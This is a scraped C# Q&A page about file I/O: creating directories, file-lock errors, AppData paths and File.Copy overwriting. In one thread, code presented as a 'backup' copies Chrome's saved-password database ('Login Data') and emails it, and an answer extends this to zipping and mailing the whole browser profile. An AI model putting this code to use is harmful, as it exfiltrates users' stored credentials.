Creating a New Directory and Writing a File in it - c#

DirectoryInfo di = Directory.CreateDirectory(precombine); // I am creating a new directory.
BinaryWriter write = new BinaryWriter(File.Open(di.FullName, FileMode.Create)); // I want to open a file in it
write.Write(buffer); // and then I want to write in it.
However, I get an error of not to have any permission to write in it. How can I create a new directory for a user and then write the data of the user in it ? Thanks.

Looks like you may be missing the filename - "di.FullName" will give the full pathname of the directory you have created - File.Open needs a file name.
BinaryWriter write = new BinaryWriter(File.Open(Path.Combine(di.FullName, <FILE NAME HERE>), FileMode.Create));
In your code, File.Open will be attempting to create a file with the same name as the directory you have just created - so you don't have permission.

If you have trouble writing authority "run as Administrator "
string rootPath = #"C:\FileSystem\";
string fileName = "data.txt";
if (!Directory.Exists(rootPath))
Directory.CreateDirectory(rootPath);
File.AppendAllText(Path.Combine(rootPath , fileName), "Test");
File.AppendAllText(Path.Combine(rootPath , fileName), "Test2");
For a bottom row > Environment.NewLine > \n
File.AppendAllText(Path.Combine(rootPath , fileName), "Test2"+Environment.NewLine);

Related

I'm getting "The process cannot access the file because it is being used by another process" error. Any ideas?

So, I created a file and a txt file into the AppData, and I want to overwrite the txt. But when I try to do it, it keeps giving me that error. Any ideas?
string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
string setuppath = (path + "\\");
string nsetuppath = (setuppath + "newx" + "\\");
Directory.CreateDirectory(nsetuppath);
string hedef2 = (nsetuppath + "commands.txt");
File.Create(hedef2);
StreamWriter sw = new StreamWriter(hedef2); ----> This is where the error appears.
sw.WriteLine("Testtest");
Just use the using statement when using streams. The using statement automatically calls Dispose on the object when the code that is using it has completed.
//path to the file you want to create
string path = #"C:\code\Test.txt";
// Create the file, or overwrite if the file exists.
using (FileStream fs = File.Create(path))
{
byte[] info = new UTF8Encoding(true).GetBytes("This is some text in the file.");
// Add some information to the file.
fs.Write(info, 0, info.Length);
}
There are many ways of manipulate streams, keep it simple depending on your needs

How to make 2 process access the same path?

I'm using c#. I'm receiving an error about a path is currently accessed by other processes. What my system is trying to do is to access the path: #"C:\temps\" + client_ids + "_" + rown + ".pdf" and use the same path for attachment before sending it to client's email.
here's what I've done so far. I comment out some of my code because I'm not sure what to do.
FileStream fs = null;
using (fs = new FileStream(#"C:\\temps\\" + client_ids + "_" +
rown + ".pdf",
FileMode.Open,FileAccess.Read,FileShare.ReadWrite))
{
TextReader tr = new StreamReader(fs);
//report.ExportToDisk
//(CrystalDecisions.Shared.ExportFormatType.PortableDocFormat,tr);
//report.Dispose();
//Attachment files = new Attachment(tr);
//Mailmsg.Attachments.Add(files);
//Clients.Send(Mailmsg);
}
you can make temp copy of file before you use it in mail attachment and then use the copy instead of the original file
You cannot attach a file to an email if that file is open. You must close (save) the file first.
While #ali answer is technically correct, it is unnecessary. Why go through the overhead of creating a copy of the file which then needs to be deleted, etc.?
Assuming I understand what you are trying to do correctly, simply move your code for mail to after the file is successfully created and saved. And, I don't think you need the overhead of either the filestream or the textreader. As long as your report object can save the file to disk someplace, you can attach that file to your email message and then send it.
While I do not claim to know anything about how Crystal Decisions handles exports, etc. Perhaps something like this would work:
(I got this code from: https://msdn.microsoft.com/en-us/library/ms226036(v=vs.90).aspx)
private void ExportToDisk (string fileName)
{
ExportOptions exportOpts = new ExportOptions();
DiskFileDestinationOptions diskOpts =
ExportOptions.CreateDiskFileDestinationOptions();
exportOpts.ExportFormatType = ExportFormatType.RichText;
exportOpts.ExportDestinationType =
ExportDestinationType.DiskFile;
diskOpts.DiskFileName = fileName;
exportOpts.ExportDestinationOptions = diskOpts;
Report.Export(exportOpts);
}
You will need to change the ExportFormatType property.
Then, simply attach the file to your email and send:
Attachment Files = new Attachment(filename);
Mailmsg.Attachments.add(files);
Clients.Send(Mailmsg);

How to create file text in "AppData\Roaming" for any user in C#

I'd like save date my app but I'm not knowing if app save for different users, Example if "andy" I can't use ("C:\Users\Game maker\AppData\Roaming") ,So How to create file in "AppData\Roaming\MaxrayStudyApp" for any user .
Computer myComputer = new Computer();
myComputer.FileSystem.WriteAllText(#"C:\Users\Game maker\AppData\Roaming\MaxrayStudy\data.txt","", false);
Almost a duplicate of this one: Environment.SpecialFolder.ApplicationData returns the wrong folder
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
That should get the folder you need then use Path.Combine() to write to a directory in that folder.
var roamingDirectory = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
var filePath = Path.Combine(roamingDirectory, "MaxrayStudy\\data.txt");
I restart my windows and I write this
string filePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
filePath= (filePath+#"\MaxrayStudyApp\data.txt");
string path =Convert.ToString(filePath);
using (System.IO.StreamWriter file =
new System.IO.StreamWriter(filePath,false)){
file.WriteLine(" XP : 0");}

Why File.Copy(string,string,bool) doesn't overwrite?

i'm writing a little C# application which backups my files periodically.
Now i encountered an issue cause of this File.Copy method not overwriting the already existing "Login File.txt" :
string local = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); //used to define Local
DirectoryInfo chrome = new DirectoryInfo(Local + #"\Google\Chrome\User Data\Default"); //used to define chrome directory
if (chrome.Exists) //method to check if file exist, than copy to *.txt file and attach to email for backups.
{
System.IO.File.Copy(local + #"\Google\Chrome\User Data\Default\Login Data", local + #"\Google\Chrome\User Data\Default\Login Data.txt", true);
message.Attachments.Add(new Attachment(local + #"\Google\Chrome\User Data\Default\Login Data.txt"));
}
I use the copy method cause seems that i cannot grab that file with no extension in my code, so i decided to use this turnaround and convert to a .txt file so i can properly attach to my email.
However, i'm using this method: https://msdn.microsoft.com/en-us/library/9706cfs5(v=vs.110).aspx cause it allows to overwrite the destination files but seems this doesn't happen and my application stop sendign the backups cause of this.
I can affirm this is the issue since if i comment that part of code everything runs smoothly.
What am i doing wrong here?
Thanks for your answers in advance.
check the parameters you give to the File.Copy(). It seems that the first parameter is not a file but a folder:
Local + #"\Google\Chrome\User Data\Default\Login Data"
You are trying to mail a complete folder of (in my case) over 400mb. Your approach should be: copy the content (if there is a folder) to a temp folder. compress it in archives of less than 10mb each and mail your archive collection.
In my case this would be about 50 e-mails:
You can use the dotnetzip https://dotnetzip.codeplex.com/
nuget package:
string local = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + #"\Google\Chrome\User Data\Default";
DirectoryInfo chrome = new DirectoryInfo(local);
if (chrome.Exists)
{
using (ZipFile zip = new ZipFile())
{
string[] files = Directory.GetFiles(local);
zip.AddFiles(files);
zip.MaxOutputSegmentSize = 10 * 1024 * 1024 ; // 10 mb
zip.Save(local + "/test.zip");
for(int i = 0; i < zip.NumberOfSegmentsForMostRecentSave; i++)
{
MailMessage msg = new MailMessage("from#from.com", "to#to.com", "subject", "body");
// https://msdn.microsoft.com/en-us/library/5k0ddab0%28v=vs.110%29.aspx
msg.Attachments.Add(new Attachment(local + "/test.z" + i.ToString("00"))); //format i for 2 digits
SmtpClient sc = new SmtpClient();
msg.Send(sc); // you should also make a new mailmessage for each attachment.
}
}
}
from: https://stackoverflow.com/a/12596248/169714
and from: https://stackoverflow.com/a/6672157/169714
In your code, the you check if the file with path "Local" exists and then copy the path with "local". Using the debugger, you can inspect the value of "Local" and see if it's different than "local". The code below could work:
string local = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); //used to define Local
// ** Note in your example "local" is capitalized as "Local"
DirectoryInfo chrome = new DirectoryInfo(local + #"\Google\Chrome\User Data\Default"); //used to define chrome directory
if (chrome.Exists) //method to check if file exist, than copy to *.txt file and attach to email for backups.
{
System.IO.File.Copy(local + #"\Google\Chrome\User Data\Default\Login Data", local + #"\Google\Chrome\User Data\Default\Login Data.txt", true);
message.Attachments.Add(new Attachment(local + #"\Google\Chrome\User Data\Default\Login Data.txt"));
}

File is always named with the Path

My File is always named like the path and my additional informations i want to have in the Filename but why is it like that?
The Path should be the chosen folder and i want to create a folder then, how can i add a folder than and say + that folder path?
The file is also always created 1 layer above the one i want. For example: C:\Test but the file is saved then in C:\ instead of C:\Test.
public static string path= string.Empty;
string fileName = DateTime.Now.ToString("yyyy.MM.dd") + "test.txt";
try
{
FileStream fs = new FileStream(path + fileName, FileMode.CreateNew, FileAccess.ReadWrite);
StreamWriter sw= new StreamWriter(fs);
sw.WriteLine("Test and so on ..");
}
catch(Exception ex) { }
Rather than using string concatenation, use Path.Combine. Aside from anything else, that will be portable if you ever want to use Mono, too.
Oh, and there are simpler ways to create a text file too:
using (var writer = File.CreateText(Path.Combine(path, fileName))
{
writer.WriteLine(...);
}
Finally, I'd strongly advise using - instead of . in your filename, so that anything which looks at the first . and expects the rest to be an extension doesn't get confused:
string fileName = DateTime.ToString("yyyy-MM-dd") + "-test.txt";

Categories

Resources